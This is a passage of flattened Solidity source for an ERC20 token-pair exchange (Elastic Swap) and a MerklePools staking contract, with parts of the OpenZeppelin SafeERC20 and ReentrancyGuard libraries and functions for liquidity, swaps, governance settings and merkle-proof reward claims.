// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IExchangeFactory {
function feeAddress() external view returns (address);
}
/**
* @title Exchange contract for Elastic Swap representing a single ERC20 pair of tokens to be swapped.
* @author Elastic DAO
* @notice This contract provides all of the needed functionality for a liquidity provider to supply/withdraw ERC20
* tokens and traders to swap tokens for one another.
*/
contract Exchange is ERC20, ReentrancyGuard {
using MathLib for uint256;
using SafeERC20 for IERC20;
address public immutable baseToken; // address of ERC20 base token (elastic or fixed supply)
address public immutable quoteToken; // address of ERC20 quote token (WETH or a stable coin w/ fixed supply)
address public immutable exchangeFactoryAddress;
uint256 public constant TOTAL_LIQUIDITY_FEE = 30; // fee provided to liquidity providers + DAO in basis points
uint256 public constant MINIMUM_LIQUIDITY = 1e3;
MathLib.InternalBalances public internalBalances;
event AddLiquidity(
address indexed liquidityProvider,
uint256 baseTokenQtyAdded,
uint256 quoteTokenQtyAdded
);
event RemoveLiquidity(
address indexed liquidityProvider,
uint256 baseTokenQtyRemoved,
uint256 quoteTokenQtyRemoved
);
event Swap(
address indexed sender,
uint256 baseTokenQtyIn,
uint256 quoteTokenQtyIn,
uint256 baseTokenQtyOut,
uint256 quoteTokenQtyOut
);
/**
* @dev Called to check timestamps from users for expiration of their calls.
*/
modifier isNotExpired(uint256 _expirationTimeStamp) {
require(_expirationTimeStamp >= block.timestamp, "Exchange: EXPIRED");
_;
}
/**
* @notice called by the exchange factory to create a new erc20 token swap pair (do not call this directly!)
* @param _name The human readable name of this pair (also used for the liquidity token name)
* @param _symbol Shortened symbol for trading pair (also used for the liquidity token symbol)
* @param _baseToken address of the ERC20 base token in the pair. This token can have a fixed or elastic supply
* @param _quoteToken address of the ERC20 quote token in the pair. This token is assumed to have a fixed supply.
* @param _exchangeFactoryAddress address of the exchange factory
*/
constructor(
string memory _name,
string memory _symbol,
address _baseToken,
address _quoteToken,
address _exchangeFactoryAddress
) ERC20(_name, _symbol) {
baseToken = _baseToken;
quoteToken = _quoteToken;
exchangeFactoryAddress = _exchangeFactoryAddress;
}
/**
* @notice primary entry point for a liquidity provider to add new liquidity (base and quote tokens) to the exchange
* and receive liquidity tokens in return.
* Requires approvals to be granted to this exchange for both base and quote tokens.
* @param _baseTokenQtyDesired qty of baseTokens that you would like to add to the exchange
* @param _quoteTokenQtyDesired qty of quoteTokens that you would like to add to the exchange
* @param _baseTokenQtyMin minimum acceptable qty of baseTokens that will be added (or transaction will revert)
* @param _quoteTokenQtyMin minimum acceptable qty of quoteTokens that will be added (or transaction will revert)
* @param _liquidityTokenRecipient address for the exchange to issue the resulting liquidity tokens from
* this transaction to
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function addLiquidity(
uint256 _baseTokenQtyDesired,
uint256 _quoteTokenQtyDesired,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
address _liquidityTokenRecipient,
uint256 _expirationTimestamp
) external nonReentrant() isNotExpired(_expirationTimestamp) {
uint256 totalSupply = this.totalSupply();
MathLib.TokenQtys memory tokenQtys =
MathLib.calculateAddLiquidityQuantities(
_baseTokenQtyDesired,
_quoteTokenQtyDesired,
_baseTokenQtyMin,
_quoteTokenQtyMin,
IERC20(baseToken).balanceOf(address(this)),
totalSupply,
internalBalances
);
internalBalances.kLast =
internalBalances.baseTokenReserveQty *
internalBalances.quoteTokenReserveQty;
if (tokenQtys.liquidityTokenFeeQty != 0) {
// mint liquidity tokens to fee address for k growth.
_mint(
IExchangeFactory(exchangeFactoryAddress).feeAddress(),
tokenQtys.liquidityTokenFeeQty
);
}
bool isExchangeEmpty = totalSupply == 0;
if (isExchangeEmpty) {
// check if this the first LP provider, if so, we need to lock some minimum dust liquidity.
require(
tokenQtys.liquidityTokenQty > MINIMUM_LIQUIDITY,
"Exchange: INITIAL_DEPOSIT_MIN"
);
unchecked {
tokenQtys.liquidityTokenQty -= MINIMUM_LIQUIDITY;
}
_mint(address(this), MINIMUM_LIQUIDITY); // mint to this address, total supply will never be 0 again
}
_mint(_liquidityTokenRecipient, tokenQtys.liquidityTokenQty); // mint liquidity tokens to recipient
if (tokenQtys.baseTokenQty != 0) {
// transfer base tokens to Exchange
IERC20(baseToken).safeTransferFrom(
msg.sender,
address(this),
tokenQtys.baseTokenQty
);
if (isExchangeEmpty) {
require(
IERC20(baseToken).balanceOf(address(this)) ==
tokenQtys.baseTokenQty,
"Exchange: FEE_ON_TRANSFER_NOT_SUPPORTED"
);
}
}
if (tokenQtys.quoteTokenQty != 0) {
// transfer quote tokens to Exchange
IERC20(quoteToken).safeTransferFrom(
msg.sender,
address(this),
tokenQtys.quoteTokenQty
);
}
emit AddLiquidity(
msg.sender,
tokenQtys.baseTokenQty,
tokenQtys.quoteTokenQty
);
}
/**
* @notice called by a liquidity provider to redeem liquidity tokens from the exchange and receive back
* base and quote tokens. Required approvals to be granted to this exchange for the liquidity token
* @param _liquidityTokenQty qty of liquidity tokens that you would like to redeem
* @param _baseTokenQtyMin minimum acceptable qty of base tokens to receive back (or transaction will revert)
* @param _quoteTokenQtyMin minimum acceptable qty of quote tokens to receive back (or transaction will revert)
* @param _tokenRecipient address for the exchange to issue the resulting base and
* quote tokens from this transaction to
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function removeLiquidity(
uint256 _liquidityTokenQty,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
address _tokenRecipient,
uint256 _expirationTimestamp
) external nonReentrant() isNotExpired(_expirationTimestamp) {
require(this.totalSupply() != 0, "Exchange: INSUFFICIENT_LIQUIDITY");
require(
_baseTokenQtyMin != 0 && _quoteTokenQtyMin != 0,
"Exchange: MINS_MUST_BE_GREATER_THAN_ZERO"
);
uint256 baseTokenReserveQty =
IERC20(baseToken).balanceOf(address(this));
uint256 quoteTokenReserveQty =
IERC20(quoteToken).balanceOf(address(this));
uint256 totalSupplyOfLiquidityTokens = this.totalSupply();
// calculate any DAO fees here.
uint256 liquidityTokenFeeQty =
MathLib.calculateLiquidityTokenFees(
totalSupplyOfLiquidityTokens,
internalBalances
);
// we need to factor this quantity in to any total supply before redemption
totalSupplyOfLiquidityTokens += liquidityTokenFeeQty;
uint256 baseTokenQtyToReturn =
(_liquidityTokenQty * baseTokenReserveQty) /
totalSupplyOfLiquidityTokens;
uint256 quoteTokenQtyToReturn =
(_liquidityTokenQty * quoteTokenReserveQty) /
totalSupplyOfLiquidityTokens;
require(
baseTokenQtyToReturn >= _baseTokenQtyMin,
"Exchange: INSUFFICIENT_BASE_QTY"
);
require(
quoteTokenQtyToReturn >= _quoteTokenQtyMin,
"Exchange: INSUFFICIENT_QUOTE_QTY"
);
// this ensures that we are removing the equivalent amount of decay
// when this person exits.
{
//scoping to avoid stack too deep errors
uint256 internalBaseTokenReserveQty =
internalBalances.baseTokenReserveQty;
uint256 baseTokenQtyToRemoveFromInternalAccounting =
(_liquidityTokenQty * internalBaseTokenReserveQty) /
totalSupplyOfLiquidityTokens;
internalBalances.baseTokenReserveQty = internalBaseTokenReserveQty =
internalBaseTokenReserveQty -
baseTokenQtyToRemoveFromInternalAccounting;
// We should ensure no possible overflow here.
uint256 internalQuoteTokenReserveQty =
internalBalances.quoteTokenReserveQty;
if (quoteTokenQtyToReturn > internalQuoteTokenReserveQty) {
internalBalances
.quoteTokenReserveQty = internalQuoteTokenReserveQty = 0;
} else {
internalBalances
.quoteTokenReserveQty = internalQuoteTokenReserveQty =
internalQuoteTokenReserveQty -
quoteTokenQtyToReturn;
}
internalBalances.kLast =
internalBaseTokenReserveQty *
internalQuoteTokenReserveQty;
}
if (liquidityTokenFeeQty != 0) {
_mint(
IExchangeFactory(exchangeFactoryAddress).feeAddress(),
liquidityTokenFeeQty
);
}
_burn(msg.sender, _liquidityTokenQty);
IERC20(baseToken).safeTransfer(_tokenRecipient, baseTokenQtyToReturn);
IERC20(quoteToken).safeTransfer(_tokenRecipient, quoteTokenQtyToReturn);
emit RemoveLiquidity(
msg.sender,
baseTokenQtyToReturn,
quoteTokenQtyToReturn
);
}
/**
* @notice swaps base tokens for a minimum amount of quote tokens. Fees are included in all transactions.
* The exchange must be granted approvals for the base token by the caller.
* @param _baseTokenQty qty of base tokens to swap
* @param _minQuoteTokenQty minimum qty of quote tokens to receive in exchange for
* your base tokens (or the transaction will revert)
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function swapBaseTokenForQuoteToken(
uint256 _baseTokenQty,
uint256 _minQuoteTokenQty,
uint256 _expirationTimestamp
) external nonReentrant() isNotExpired(_expirationTimestamp) {
require(
_baseTokenQty != 0 && _minQuoteTokenQty != 0,
"Exchange: INSUFFICIENT_TOKEN_QTY"
);
uint256 quoteTokenQty =
MathLib.calculateQuoteTokenQty(
_baseTokenQty,
_minQuoteTokenQty,
TOTAL_LIQUIDITY_FEE,
internalBalances
);
IERC20(baseToken).safeTransferFrom(
msg.sender,
address(this),
_baseTokenQty
);
IERC20(quoteToken).safeTransfer(msg.sender, quoteTokenQty);
emit Swap(msg.sender, _baseTokenQty, 0, 0, quoteTokenQty);
}
/**
* @notice swaps quote tokens for a minimum amount of base tokens. Fees are included in all transactions.
* The exchange must be granted approvals for the quote token by the caller.
* @param _quoteTokenQty qty of quote tokens to swap
* @param _minBaseTokenQty minimum qty of base tokens to receive in exchange for
* your quote tokens (or the transaction will revert)
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function swapQuoteTokenForBaseToken(
uint256 _quoteTokenQty,
uint256 _minBaseTokenQty,
uint256 _expirationTimestamp
) external nonReentrant() isNotExpired(_expirationTimestamp) {
require(
_quoteTokenQty != 0 && _minBaseTokenQty != 0,
"Exchange: INSUFFICIENT_TOKEN_QTY"
);
uint256 baseTokenQty =
MathLib.calculateBaseTokenQty(
_quoteTokenQty,
_minBaseTokenQty,
IERC20(baseToken).balanceOf(address(this)),
TOTAL_LIQUIDITY_FEE,
internalBalances
);
IERC20(quoteToken).safeTransferFrom(
msg.sender,
address(this),
_quoteTokenQty
);
IERC20(baseToken).safeTransfer(msg.sender, baseTokenQty);
emit Swap(msg.sender, 0, _quoteTokenQty, baseTokenQty, 0);
}
}
/// @title MerklePools
/// @notice A contract which allows users to stake to farm tokens that are "realized" once
/// profits enter the system and can be claimed via a merkle proof.
contract MerklePools is MerklePoolsStorage, ReentrancyGuardUpgradeable {
using FixedPointMath for FixedPointMath.FixedDecimal;
using MerklePool for MerklePool.Data;
using MerklePool for MerklePool.List;
using SafeERC20Upgradeable for IERC20Upgradeable;
using MerkleStake for MerkleStake.Data;
event PendingGovernanceUpdated(address pendingGovernance);
event GovernanceUpdated(address governance);
event ForfeitAddressUpdated(address governance);
event RewardRateUpdated(uint256 rewardRate);
event PoolRewardWeightUpdated(uint256 indexed poolId, uint256 rewardWeight);
event PoolCreated(uint256 indexed poolId, address indexed token);
event TokensDeposited(
address indexed user,
uint256 indexed poolId,
uint256 amount
);
event TokensWithdrawn(
address indexed user,
uint256 indexed poolId,
uint256 amount
);
event TokensClaimed(
address indexed user,
uint256 index,
uint256 indexed poolId,
uint256 lpTokenAmountClaimed,
uint256 ticTokenAmountClaimed
);
event MerkleRootUpdated(bytes32 merkleRoot);
event LPTokensGenerated(
uint256 lpAmountCreated,
uint256 ticConsumed,
uint256 quoteTokenConsumed
);
constructor() {}
function initialize(
IMintableERC20 _ticToken,
address _quoteToken,
address _elasticLPToken,
address _governance,
address _forfeitAddress
) external initializer {
require(_governance != address(0), "MerklePools: INVALID_ADDRESS");
ReentrancyGuardUpgradeable.__ReentrancyGuard_init();
ticToken = _ticToken;
governance = _governance;
elasticLPToken = _elasticLPToken;
quoteToken = _quoteToken;
forfeitAddress = _forfeitAddress;
if (address(_ticToken) != address(0)) {
// grant approval to exchange so we can mint
_ticToken.approve(address(_elasticLPToken), type(uint256).max);
}
if (_elasticLPToken != address(0)) {
IERC20Upgradeable(_quoteToken).approve(
address(_elasticLPToken),
type(uint256).max
);
}
}
/**
* @dev A modifier which reverts when the caller is not the governance.
*/
modifier onlyGovernance() {
require(msg.sender == governance, "MerklePools: ONLY_GOVERNANCE");
_;
}
/**
* @dev Sets the governance. This function can only called by the current governance.
* @param _pendingGovernance the new pending governance.
*/
function setPendingGovernance(address _pendingGovernance)
external
onlyGovernance
{
require(
_pendingGovernance != address(0),
"MerklePools: INVALID_ADDRESS"
);
pendingGovernance = _pendingGovernance;
emit PendingGovernanceUpdated(_pendingGovernance);
}
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "MerklePools: ONLY_PENDING");
address pendingGovernance_ = msg.sender;
governance = pendingGovernance_;
emit GovernanceUpdated(pendingGovernance_);
}
/**
* @dev Sets the distribution reward rate. This will update all of the pools.
* @param _rewardRate The number of tokens to distribute per second.
*/
function setRewardRate(uint256 _rewardRate) external onlyGovernance {
_updatePools();
poolContext.rewardRate = _rewardRate;
emit RewardRateUpdated(_rewardRate);
}
/**
* @dev Sets the address rewards are forfeited to when a staker exits prior to realizing
* their rewards.
* @param _forfeitAddress address to set.
*/
function setForfeitAddress(address _forfeitAddress)
external
onlyGovernance
{
require(_forfeitAddress != forfeitAddress, "MerklePools: SAME_ADDRESS");
forfeitAddress = _forfeitAddress;
emit ForfeitAddressUpdated(_forfeitAddress);
}
/**
* Allows the governance to set the tic token address in the case
* that it wasn't set during the initialize (due to bridge partner)
* @param _ticToken address
*/
function setTicTokenAddress(IMintableERC20 _ticToken)
external
onlyGovernance
{
require(
address(ticToken) == address(0),
"MerklePools: TIC_ALREADY_SET"
);
require(
address(_ticToken) != address(0),
"MerklePools: INVALID_ADDRESS"
);
require(elasticLPToken != address(0), "MerklePools: ELP_NOT_SET");
ticToken = _ticToken;
_ticToken.approve(address(elasticLPToken), type(uint256).max);
}
/**
* Allows the governance to set the Elastic LP token address in the case
* that it wasn't set during the initialize due to waiting on the ELP to be
* created once the token is bridged
* @param _elasticLPToken address
*/
function setElasticLPTokenAddress(address _elasticLPToken)
external
onlyGovernance
{
require(elasticLPToken == address(0), "MerklePools: ELP_ALREADY_SET");
require(_elasticLPToken != address(0), "MerklePools: INVALID_ADDRESS");
elasticLPToken = _elasticLPToken;
IERC20Upgradeable(quoteToken).approve(
address(_elasticLPToken),
type(uint256).max
);
}
/**
* @dev Creates a new pool. The created pool will need to have its reward weight
* initialized before it begins generating rewards.
* @param _token The token the pool will accept for staking.
* @return the identifier for the newly created pool.
*/
function createPool(address _token)
external
onlyGovernance
returns (uint256)
{
require(tokenPoolIds[_token] == 0, "MerklePools: ALREADY_CREATED");
uint256 poolId = pools.length();
pools.push(
MerklePool.Data({
token: _token,
totalDeposited: 0,
totalUnclaimedTIC: 0,
totalUnclaimedTICInLP: 0,
rewardWeight: 0,
accumulatedRewardWeight: FixedPointMath.FixedDecimal(0),
lastUpdatedBlockTimestamp: block.timestamp
})
);
tokenPoolIds[_token] = poolId + 1;
emit PoolCreated(poolId, _token);
return poolId;
}
/**
* @dev Sets the reward weights of all of the pools.
* @param _rewardWeights The reward weights of all of the pools.
*/
function setRewardWeights(uint256[] calldata _rewardWeights)
external
onlyGovernance
{
uint256 poolsLength = pools.length();
require(
_rewardWeights.length == poolsLength,
"MerklePools: LENGTH_MISMATCH"
);
_updatePools();
uint256 totalRewardWeight_ = poolContext.totalRewardWeight;
for (uint256 _poolId = 0; _poolId < poolsLength; _poolId++) {
MerklePool.Data storage _pool = pools.get(_poolId);
uint256 _currentRewardWeight = _pool.rewardWeight;
if (_currentRewardWeight == _rewardWeights[_poolId]) {
continue;
}
totalRewardWeight_ =
totalRewardWeight_ -
_currentRewardWeight +
_rewardWeights[_poolId];
_pool.rewardWeight = _rewardWeights[_poolId];
emit PoolRewardWeightUpdated(_poolId, _rewardWeights[_poolId]);
}
poolContext.totalRewardWeight = totalRewardWeight_;
}
/**
* @dev Stakes tokens into a pool.
* @param _poolId the pool to deposit tokens into.
* @param _depositAmount the amount of tokens to deposit.
*/
function deposit(uint256 _poolId, uint256 _depositAmount)
external
nonReentrant
{
require(msg.sender != forfeitAddress, "MerklePools: UNUSABLE_ADDRESS");
MerklePool.Data storage pool = pools.get(_poolId);
pool.update(poolContext);
MerkleStake.Data storage stake = stakes[msg.sender][_poolId];
stake.update(pool, poolContext);
pool.totalDeposited = pool.totalDeposited + _depositAmount;
stake.totalDeposited = stake.totalDeposited + _depositAmount;
IERC20Upgradeable(pool.token).safeTransferFrom(
msg.sender,
address(this),
_depositAmount
);
emit TokensDeposited(msg.sender, _poolId, _depositAmount);
}
/**
* @dev exits and returns all staked tokens from a pool and forfeit's any outstanding rewards
* @param _poolId the pool to exit from.
*/
function exit(uint256 _poolId) external nonReentrant {
require(msg.sender != forfeitAddress, "MerklePools: UNUSABLE_ADDRESS");
MerklePool.Data storage pool = pools.get(_poolId);
pool.update(poolContext);
MerkleStake.Data storage stake = stakes[msg.sender][_poolId];
stake.update(pool, poolContext);
uint256 withdrawAmount = stake.totalDeposited;
pool.totalDeposited = pool.totalDeposited - withdrawAmount;
stake.totalDeposited = 0;
// unclaimed rewards are transferred to the forfeit address
MerkleStake.Data storage forfeitStake = stakes[forfeitAddress][_poolId];
forfeitStake.update(pool, poolContext);
forfeitStake.totalUnrealized += stake.totalUnrealized;
// we need to zero our their total unrealized and also ensure that they are unable to just
// re-enter and then claim using a stale merkle proof as their unrealized increments again
// over time. By adding their unrealized to their totalRealized, we ensure that any
// existing merkle claim is now un-claimable by them until we generate a new merkle claim
// that accounts for these values. This means that the sum of all stakes.totalRealizedTIC
// is not accurate in terms of tic claimed
// and that we also need to check in the UI to not end up with negative
// claimable values. The off chain accounting needs to consider this as well if a
// user does re-enter wit the same address in the future.
stake.totalRealizedTIC += stake.totalUnrealized;
stake.totalUnrealized = 0;
IERC20Upgradeable(pool.token).safeTransfer(msg.sender, withdrawAmount);
emit TokensWithdrawn(msg.sender, _poolId, withdrawAmount);
}
/**
* @notice Allows a caller to generate LP tokens to distribute to stakers. The quote token
* is taken from the caller and paired with freshly minted TIC token to create new LP tokens.
* @param _poolId id of the pool these LP Tokens are associated with.
* @param _ticTokenQty qty of ticTokens that you would like to add
* @param _quoteTokenQty qty of quoteTokens that you would like to add (USDC)
* @param _ticTokenQtyMin minimum acceptable qty of ticToken that will be added (or transaction will revert)
* @param _quoteTokenQtyMin minimum acceptable qty of quoteTokens that will be added (or transaction will revert)
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function generateLPTokens(
uint256 _poolId,
uint256 _ticTokenQty,
uint256 _quoteTokenQty,
uint256 _ticTokenQtyMin,
uint256 _quoteTokenQtyMin,
uint256 _expirationTimestamp
) external virtual onlyGovernance {
require(address(ticToken) != address(0), "MerklePools: TIC_NOT_SET");
require(elasticLPToken != address(0), "MerklePools: ELP_NOT_SET");
MerklePool.Data storage _pool = pools.get(_poolId);
_pool.update(poolContext); // update pool first!
uint256 maxMintAmount =
_pool.totalUnclaimedTIC - _pool.totalUnclaimedTICInLP;
require(maxMintAmount >= _ticTokenQty, "MerklePools: NSF_UNCLAIMED");
// check to make sure we don't have some "Excess" tic we can use.
uint256 ticBalanceToBeMinted = _ticTokenQty - excessTICFromSlippage;
ticToken.mint(address(this), ticBalanceToBeMinted);
IERC20Upgradeable(quoteToken).safeTransferFrom(
msg.sender,
address(this),
_quoteTokenQty
);
uint256 lpBalanceBefore =
IERC20Upgradeable(elasticLPToken).balanceOf(address(this));
uint256 ticBalanceBefore = ticToken.balanceOf(address(this));
uint256 quoteTokenBalanceBefore =
IERC20Upgradeable(quoteToken).balanceOf(address(this));
Exchange(address(elasticLPToken)).addLiquidity(
_ticTokenQty,
_quoteTokenQty,
_ticTokenQtyMin,
_quoteTokenQtyMin,
address(this),
_expirationTimestamp
);
uint256 lpBalanceCreated =
IERC20Upgradeable(elasticLPToken).balanceOf(address(this)) -
lpBalanceBefore;
require(lpBalanceCreated != 0, "MerklePools: NO_LP_CREATED");
uint256 ticBalanceConsumed =
ticBalanceBefore - ticToken.balanceOf(address(this));
excessTICFromSlippage = _ticTokenQty - ticBalanceConsumed; //save for next time
_pool.totalUnclaimedTICInLP += ticBalanceConsumed;
uint256 quoteTokenConsumed =
quoteTokenBalanceBefore -
IERC20Upgradeable(quoteToken).balanceOf(address(this));
if (quoteTokenConsumed < _quoteTokenQty) {
// refund the rest to the caller
IERC20Upgradeable(quoteToken).safeTransfer(
msg.sender,
_quoteTokenQty - quoteTokenConsumed
);
}
emit LPTokensGenerated(
lpBalanceCreated,
ticBalanceConsumed,
quoteTokenConsumed
);
}
/**
* @notice Allows a new merkle root to be set by the contracts owner (the DAO)
* @param _merkleRoot the merkle root to be set
*/
function setMerkleRoot(bytes32 _merkleRoot) public onlyGovernance {
require(merkleRoot != _merkleRoot, "MerklePools: DUPLICATE_ROOT");
require(address(ticToken) != address(0), "MerklePools: TIC_NOT_SET");
require(elasticLPToken != address(0), "MerklePools: ELP_NOT_SET");
isClaimsEnabled = true;
merkleRoot = _merkleRoot;
emit MerkleRootUpdated(_merkleRoot);
}
/**
* @notice Allows for a staker to claim LP tokens based on the merkle proof provided.
* @param _index the index of the merkle claim
* @param _poolId the pool id these rewards are associated with.
* @param _totalLPTokenAmount the total LP token amount in the tree
* @param _totalTICAmount the total TIC amount to be consumed in the tree
* @param _merkleProof bytes32[] proof for the claim
*/
function claim(
uint256 _index,
uint256 _poolId,
uint256 _totalLPTokenAmount,
uint256 _totalTICAmount,
bytes32[] calldata _merkleProof
) external nonReentrant {
require(isClaimsEnabled, "MerklePools: CLAIMS_DISABLED");
// Verify the merkle proof.
bytes32 node =
keccak256(
abi.encodePacked(
_index,
msg.sender,
_poolId,
_totalLPTokenAmount,
_totalTICAmount
)
);
require(
MerkleProofUpgradeable.verify(_merkleProof, merkleRoot, node),
"MerklePools: INVALID_PROOF"
);
MerkleStake.Data storage stake = stakes[msg.sender][_poolId];
uint256 alreadyClaimedLPAmount = stake.totalRealizedLP;
uint256 alreadyClaimedTICAmount = stake.totalRealizedTIC;
require(
_totalLPTokenAmount > alreadyClaimedLPAmount &&
_totalTICAmount > alreadyClaimedTICAmount,
"MerklePools: INVALID_CLAIM_AMOUNT"
);
MerklePool.Data storage pool = pools.get(_poolId);
pool.update(poolContext);
stake.update(pool, poolContext);
// determine the amounts of the new claim
uint256 lpTokenAmountToBeClaimed;
uint256 ticTokenAmountToBeClaimed;
unchecked {
lpTokenAmountToBeClaimed =
_totalLPTokenAmount -
alreadyClaimedLPAmount;
ticTokenAmountToBeClaimed =
_totalTICAmount -
alreadyClaimedTICAmount;
}
require(
ticTokenAmountToBeClaimed <= stake.totalUnrealized,
"MerklePools: INVALID_UNCLAIMED_AMOUNT"
);
stake.totalRealizedLP = _totalLPTokenAmount;
stake.totalRealizedTIC = _totalTICAmount;
unchecked {
stake.totalUnrealized -= ticTokenAmountToBeClaimed;
}
pool.totalUnclaimedTIC -= ticTokenAmountToBeClaimed;
pool.totalUnclaimedTICInLP -= ticTokenAmountToBeClaimed;
IERC20Upgradeable(elasticLPToken).safeTransfer(
msg.sender,
lpTokenAmountToBeClaimed
);
emit TokensClaimed(
msg.sender,
_index,
_poolId,
lpTokenAmountToBeClaimed,
ticTokenAmountToBeClaimed
);
}
/**
* @dev Gets the rate at which tokens are minted to stakers for all pools.
* @return the reward rate.
*/
function rewardRate() external view returns (uint256) {
return poolContext.rewardRate;
}
/**
* @dev Gets the total reward weight between all the pools.
* @return the total reward weight.
*/
function totalRewardWeight() external view returns (uint256) {
return poolContext.totalRewardWeight;
}
/**
* @dev Gets the number of pools that exist.
* @return the pool count.
*/
function poolCount() external view returns (uint256) {
return pools.length();
}
/**
* @dev Gets the token a pool accepts.
* @param _poolId the identifier of the pool.
* @return the token.
*/
function getPoolToken(uint256 _poolId) external view returns (address) {
MerklePool.Data storage pool = pools.get(_poolId);
return pool.token;
}
/**
* @dev Gets the pool data struct
* @param _poolId the identifier of the pool.
* @return the Pool.Data (memory, not storage!).
*/
function getPool(uint256 _poolId)
external
view
returns (MerklePool.Data memory)
{
return pools.get(_poolId);
}
/**
* @dev Gets the total amount of funds staked in a pool.
* @param _poolId the identifier of the pool.
* @return the total amount of staked or deposited tokens.
*/
function getPoolTotalDeposited(uint256 _poolId)
external
view
returns (uint256)
{
MerklePool.Data storage pool = pools.get(_poolId);
return pool.totalDeposited;
}
/**
* @dev Gets the total amount of token unclaimed from a pool
* @param _poolId the identifier of the pool.
* @return the total amount of unclaimed / un-minted tokens from a pool
*/
function getPoolTotalUnclaimed(uint256 _poolId)
external
view
returns (uint256)
{
MerklePool.Data storage pool = pools.get(_poolId);
return pool.getUpdatedTotalUnclaimed(poolContext);
}
/**
* @dev Gets the total amount of tokens unclaimed from a pool that are not yet "realized" in
* the form of LP tokens
* @param _poolId the identifier of the pool.
* @return the total amount of unclaimed and un-minted tokens from a pool that are not in LP tokens
*/
function getPoolTotalUnclaimedNotInLP(uint256 _poolId)
external
view
returns (uint256)
{
MerklePool.Data storage pool = pools.get(_poolId);
return
pool.getUpdatedTotalUnclaimed(poolContext) -
pool.totalUnclaimedTICInLP;
}
/**
* @dev Gets the reward weight of a pool which determines
* how much of the total rewards it receives per second.
* @param _poolId the identifier of the pool.
* @return the pool reward weight.
*/
function getPoolRewardWeight(uint256 _poolId)
external
view
returns (uint256)
{
MerklePool.Data storage pool = pools.get(_poolId);
return pool.rewardWeight;
}
/**
* @dev Gets the amount of tokens per second being distributed to stakers for a pool.
* @param _poolId the identifier of the pool.
* @return the pool reward rate.
*/
function getPoolRewardRate(uint256 _poolId)
external
view
returns (uint256)
{
MerklePool.Data storage pool = pools.get(_poolId);
return pool.getRewardRate(poolContext);
}
/**
* @dev Gets the number of tokens a user has staked into a pool.
* @param _account The account to query.
* @param _poolId the identifier of the pool.
* @return the amount of deposited tokens.
*/
function getStakeTotalDeposited(address _account, uint256 _poolId)
external
view
returns (uint256)
{
MerkleStake.Data storage stake = stakes[_account][_poolId];
return stake.totalDeposited;
}
/**
* @dev Gets the number of unclaimed reward tokens a user can claim from a pool.
* @param _account The account to get the unclaimed balance of.
* @param _poolId The pool to check for unclaimed rewards.
* @return the amount of unclaimed reward tokens a user has in a pool.
*/
function getStakeTotalUnclaimed(address _account, uint256 _poolId)
external
view
returns (uint256)
{
MerkleStake.Data storage stake = stakes[_account][_poolId];
return stake.getUpdatedTotalUnclaimed(pools.get(_poolId), poolContext);
}
/**
* @dev Updates all of the pools.
*/
function _updatePools() internal {
uint256 poolsLength = pools.length();
for (uint256 poolId = 0; poolId < poolsLength; poolId++) {
MerklePool.Data storage pool = pools.get(poolId);
pool.update(poolContext);
}
}
}
/**
